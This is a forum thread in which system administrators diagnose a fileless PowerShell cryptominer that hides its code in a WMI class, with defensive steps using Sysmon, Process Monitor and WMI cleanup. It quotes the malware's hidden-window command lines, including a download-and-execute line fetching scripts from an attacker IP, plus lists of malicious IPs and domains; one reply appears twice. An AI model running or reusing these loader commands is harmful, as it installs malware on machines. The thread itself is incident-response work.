powershell virus

Hi ,

Powershell related threats are being detected by Sophos as  HPmal/WMIPOW-A, HPmal/HPWMIJS-A, HPmal/mPShl32-A & HPmal/mPShl64-A

As jak mentioned Using Process Explorer, identify which exe is spawning Powershell.exe to see if we are dealing with any new variant of the known/ Unknown threats. You can contact our support for assistance in this regards so that if it is found to be a new variant, we will be able to have the definitions in place.

Hi Gowtham,

I have contacted the support for help on this, but support ask me to upload the copy of file to analysis. I confuse what is the file should I upload. So I reply "i have no sample file to upload"

I use SEC and Virus Removal Tool scan the system but nothing detected. Maybe this is new variant of threats？

What should I provide to confirm the threat? This is the first time to do this thing, So I need your support.

Thanks again!

Chuck

Hello Chuck,

your original post shows Symantec Protection Detection Results, correct? As you say I use SEC - are both products on the machines in question (if so, how did you do this)? Are you using Symantec (which product exactly) as second opinion scanner or do both real-time/on-access scanning?

what should I provide
the screenshot suggests that Symantec has cleaned the "subordinate" threats (apparently not the one that abuses PowerShell - there's likely a hijacked process, perhaps svchost.exe, involved) by deleting them. Thus, naturally, there's no sample to submit. You can likely configure the Symantec scanner so that it doesn't attempt a cleanup/deletion. Dunno if it would then leave the file alone or quarantine it by encrypting it. If the latter if you turn it off (or don't use it) and this should leave the xxxxxxx.0.cs files in the %Temp% directory.

Christian

Hi Christian,

We have replace Symantec by SEC, but only one Symantec protection can not remove. I try several times and several ways to remove and it did not say goodbye to me. I have not ideas about this one. And it report the virus this time.

I set a software Restriction Policy in group policy to prevent powershell.exe start, so all computer working good so far.

I try to find sample file in computer with SES, but I can not find the *.cs and *.dll file. I release some computers from the OU with Software Restriction Policy to see if *.cs and *.dll appear.

Below is the information I can provide so far.

1. this is the same virus detect by McAfee (screenshot from other company), just FYI.

2. The virus contact 20 more IP address (remote port is 80, 14444) and IP address as below,

195.22.127.93
195.22.129.157
93.174.93.73
79.137.82.5
213.32.29.143
5.196.13.29
198.251.88.21
51.255.34.118
5.196.23.240
151.80.144.253
164.132.109.110
92.222.180.119
217.182.169.148
51.15.54.102
78.46.91.134
172.104.165.191
139.99.102.71
103.3.62.64
139.99.102.72
139.99.102.73
139.99.102.74
139.99.102.70
46.105.103.169
37.59.56.102
45.32.71.82
139.99.101.198
139.99.101.197
149.202.42.174

So, Thanks for your help. I will keep update.

Best regards,

Chuck

Hello Chuck,

I release some computers
yes, you have to "sacrifice" one. It's not clear what the Trojan is up to but a number of these addresses is not absolutely clean according to VirusTotal.

Many vendors use their own nomenclature, there's no general mapping of names so unfortunately another vendor's detection doesn't help much. And naturally it's impossible to say why some, apart from the fact another vendor detects it as somethreat, unknown thing is not detected.
Do you have Malicious Traffic Detection enabled in the AV policy?

Christian

Hi ChuckYu,

Support would be interested in analyzing the file that could be causing the High CPU usage in the clients. I have left a note to the Support engineer to extend his assistance in finding the suspicious file/script could be using PowerShell. We can use windows Sysinternals tools to find it. For a start, I would suggest you check the Scheduled task for any unknown/ suspicious task.

Process Monitor can also help you in capturing the events details. 

Hi Gowtham,

Sorry for reply late, I still cannot get the sample of virus these days.

I use the Process Monitor to capture log of powershell but I cannot understood the file.

Maybe this log file can help on this case.

Thanks a lot!

Chuckpowershell.zip

Hello Chuck,

you've filtered for just the Powershell process, haven't you? As far as I can see it receives about 250 bytes over the HTTP connection to  ns320600.ip-37-187-154.eu but it does neither write to a file nor set a registry key/value. You say there are now no .cs files to be found in C:\Windows\Temp\?

As the process runs as SYSTEM it's likely started a boot up - Autoruns should help to find how it's started and what is involved, likely a file that lurks somewhere.

Christian

We have already experienced something similar to this previously with another malware on December. Opened a ticket and also a topic, but Sophos just discarded it was their issue (community.sophos.com/.../364303. It seems Sophos is still not aware of Fileless infection and this is something to worry about. 

I would recommend this article, but it is in Portuguese, maybe you can find something useful by translating it with Google: https://morphuslabs.com/wannamine-faz-v%C3%ADtimas-no-brasil-fb9b674fc908. You will see some URLs on port 14444 that, if you query DNS, will match the IPs you provided. You can also try removing the malware with KVRT (Kaspersky Virus Removal Tool).

You can also check Network Resource Monitor and see what IP exactly powershell is requesting and BLOCK those IPs being accessed on port 80 on your firewall. But, you will only be able to see 1 IP each time the process starts (I found a total of 6 iPs). This will prevent CPU to get to 100%, but this will not heal the machine completely. The powershell will still executes, but will not reach the destination and will not consome CPU, but a little bit of memory. Here are the IPs we have been dealing with and is already blocked on our firewall: 

94.130.65.216
94.130.65.208
94.130.65.214
94.130.65.207
94.130.65.210
94.130.65.215

We are experiencing the same here and as it was told, Sophos SOMETIMES is blocking the powershell execution, and IT IS NOT HEALING/CLEANING the malware... so there are a LOT OF EVENTS informing that it was blocked on most of the machines. Probably because this is a fileless infection and Sophos cannot find the issue. There is no standard behavior on the period it is running, sometimes it runs hourly, 30 to 30 minutes or 40 to 40 minutes... Haven`t find anything so far.

So the question is, how can we solve and heal the machines? Can any Sophos expert help us on this?

Hi,

Given the command line I see in the Process Monitor log:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:systemcore_Updater').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"

In an admin Powershell command prompt what do the following 2 commands pipe out:

([WmiClass] 'root\default:systemcore_Updater').Properties['funs'].Value > C:\funsvalue.txt

([WmiClass] 'root\default:systemcore_Updater').Properties['mon'].Value > C:\monvalue.txt

Can you attach C:\funsvalue.txt abd C:\monvalue.txt?  I assume funsvalue.txt will be base64 encoded but that's fine I can decode that.

For example, I can create a new class under "root\default" called "systemcore_Updater" with the following 3 Powershell lines entered into a an administrative Powershell prompt:

$newClass = New-Object System.Management.ManagementClass("root\DEFAULT", [String]::Empty, $null);
$newClass["__CLASS"] = "systemcore_Updater";
$newClass.Put()

The output after hitting enter on the 3rd command will be:

Path : \\.\root\DEFAULT:systemcore_Updater
RelativePath : systemcore_Updater
Server : .
NamespacePath : root\DEFAULT
ClassName : systemcore_Updater
IsClass : True
IsInstance : False
IsSingleton : False

You could delete this same newly created class with the following PS command:

Remove-WmiObject -Class systemcore_Updater -Namespace root\DEFAULT

It maybe that all you need to do is run the above command to remove where the malware code is stored but it would be good to dump out the contents above first to see what you're dealing with.

It could be that something re-creates the WMI class, maybe re-query the classes under the root\Default namespace having removed it to check it doesn't return.  To do so the following will list all classes under the root\DEFAULT namespace which contain the characters sys.

Get-WmiObject -Namespace root\DEFAULT -list *sys*

Regards,
Jak

P.S. In the meantime, is it worth sending out a App Control policy to prevent Powershell.exe running at this point, at least while understanding what is going on and to a subset of affected clients?  Unless you know your users are running Powershell or you have software that replies on calling it.  This could stop it coming back whilst trying to remove the WMI classes it may have created to store the code.

Hi,

Given the command line I see in the Process Monitor log:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:systemcore_Updater').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"

In an admin Powershell command prompt what do the following 2 commands pipe out:

([WmiClass] 'root\default:systemcore_Updater').Properties['funs'].Value > C:\funsvalue.txt

([WmiClass] 'root\default:systemcore_Updater').Properties['mon'].Value > C:\monvalue.txt

Can you attach C:\funsvalue.txt abd C:\monvalue.txt?  I assume funsvalue.txt will be base64 encoded but that's fine I can decode that.

For example, I can create a new class under "root\default" called "systemcore_Updater" with the following 3 Powershell lines entered into a an administrative Powershell prompt:

$newClass = New-Object System.Management.ManagementClass("root\DEFAULT", [String]::Empty, $null);
$newClass["__CLASS"] = "systemcore_Updater";
$newClass.Put()

The output after hitting enter on the 3rd command will be:

Path : \\.\root\DEFAULT:systemcore_Updater
RelativePath : systemcore_Updater
Server : .
NamespacePath : root\DEFAULT
ClassName : systemcore_Updater
IsClass : True
IsInstance : False
IsSingleton : False

You could delete this same newly created class with the following PS command:

Remove-WmiObject -Class systemcore_Updater -Namespace root\DEFAULT

It maybe that all you need to do is run the above command to remove where the malware code is stored but it would be good to dump out the contents above first to see what you're dealing with.

It could be that something re-creates the WMI class, maybe re-query the classes under the root\Default namespace having removed it to check it doesn't return.  To do so the following will list all classes under the root\DEFAULT namespace which contain the characters sys.

Get-WmiObject -Namespace root\DEFAULT -list *sys*

Regards,
Jak

P.S. In the meantime, is it worth sending out a App Control policy to prevent Powershell.exe running at this point, at least while understanding what is going on and to a subset of affected clients?  Unless you know your users are running Powershell or you have software that replies on calling it.  This could stop it coming back whilst trying to remove the WMI classes it may have created to store the code.

Hey Jak,

I think your response was to Chuck and related to the logs he provided.

Anyway, I agree with you. Something creates and keeps recreating the WMIClass. On the malware we experienced in December, KVRT and Malwarebytes were able to detect it and cure, but not in this case. I could also see it on autoruns, but not this time.

The scripts I could find are a CMD launching a Powershell as follows. But still have no idea what launches it, I mean what creates or how to find the related WMI Object.

cmd /c powershell.exe -NoP -NonI -W Hidden "if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in6.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in3.ps1')}"

powershell.exe  -NoP -NonI -W Hidden "if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in6.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in3.ps1')}"

This scripts also uses some other IPs:
172.247.116.8:8000
107.179.67.243:8000
118.184.48.95:8000 (used in the script above)
104.148.42.153:8000

Thanks.

Hi,

You should be able to obtain the process ID creating the WMI class from the Windows Event log.  I would suggest mapping that back to a process name by using Sysmon.  This of course can be used to find the parent process id/image of the cmd.exe process you mention.

If you open the Windows Event Log, click "View" - "Show Analytic and Debug Logs".

Then navigate to the "WMI-Activity" log (/Applications and Services Logs/Microsoft/Windows/WMI-Activity), expand that to see the "Trace" log.  Right click and enable that.

Then Event ID 20, that should have the process ID that created the class.  Note: You can search the event log for the name of the class.

As I say, I would suggest installing Microsoft Sysmon (docs.microsoft.com/.../sysmon) on the computer to keep a record (in the event log) of processes being created.

sysmon.exe -i -l -n

Where n will also track network connections of a process.

Event ID 1 - "Process Creation" in the event log for Sysmon (/Applications and Services Logs/Microsoft/Windows/Sysmon/Operational) will give you the name.

Hopefully you can build up a picture using the above.

Regards,

Jak

Thanks, Jak.

I have just installed sysmon and enabled WMI Trave Logs, but haven`t found anything weird so far, but could not see the cmd/powershell scripts running also. I`ll be monitoring to see when cmd/powershell triggers so I can check those logs. I will update if I can provide more information.

Does Process Monitor log help in anything for your analysis? I forgot to mention but I could also see this, before cmd Process Start:

wmiprvse.exe - Process Create - cmd /c powershell.exe -NoP -NonI -W Hidden "if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in6.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('118.184.48.95:8000/in3.ps1')}"

Anyway, is Sophos aware of it and working to find a solution? Because, if Sophos Endpoints are not able to heal and cure the machines, I will have to do it manually, one by one, once again... IF I find a way to cure them.

I haven`t blocked powershell execution yet, but blocking those IPs on my firewall seems to solve resource consumption so far. Still monitoring this.

Thanks

One thing you could try is putting PS in constrained language mode.  In a Powershell admin prompt, you can view the current mode with the command:

$ExecutionContext.SessionState.LanguageMode

E.g it will print:
FullLanguage

#set it to be constrained:
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

#check it was set:

$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Details - https://blogs.msdn.microsoft.com/powershell/2017/11/02/powershell-constrained-language-mode/ 

It seems you have something like this going on: https://community.spiceworks.com/topic/2080003-malicious-powershell-script-causing-100-cpu-load-solved?page=1#entry-7336947 

From the PML attached to this thread, there are a parent and child powershell.exe process.  The parent process to the the parent powershell.exe process has gone. This was PID 4880.
Looking at the parameters to the parent powershell process though, it's a base64 encoded PS script that pings the following addresses in order

195.22.127.93
update.windowsdefenderhost.club
info.windowsdefenderhost.club

..the first one that replies, is used to get a version file from:  http://ADDRESSTHATFIRSTRESPONDED:8000/ver.txt  That version is strored in WMI under root\default:systemcore_Updater.  Then it pulls another PS script from http://ADDRESSTHATFIRSTRESPINDED/info6.ps1 ... etc...     It uses WMI store data to save writing to disk.

To see the full script, you can grab the command line from the PML for the parent Powershell process and base64 decode it online to get the script in plain text.  Note: I had to re-save the PML as a PML locally and then save it again as XML to get at the arguments.  Not sure if I had a different version of ProcessMonitor because it kept crashing before.  I assume you may have a different script.  I uploaded the base64decoded PS script to VirusTotal - https://www.virustotal.com/en/file/eac97f92089f82dc6c36fb713df351cbe79a692445dada1c9ad5c9c3fa6ef9c8/analysis/1524954553/ you can see that it's very likely to be a Powershell miner.

I suppose another thought would be just to reset WMI. Presumably that would take out any persistence held in the WMI repository but if a malicious process is running, it could just re-create the class:
https://blogs.technet.microsoft.com/askperf/2009/04/13/wmi-rebuilding-the-wmi-repository/ 

Regards,
Jak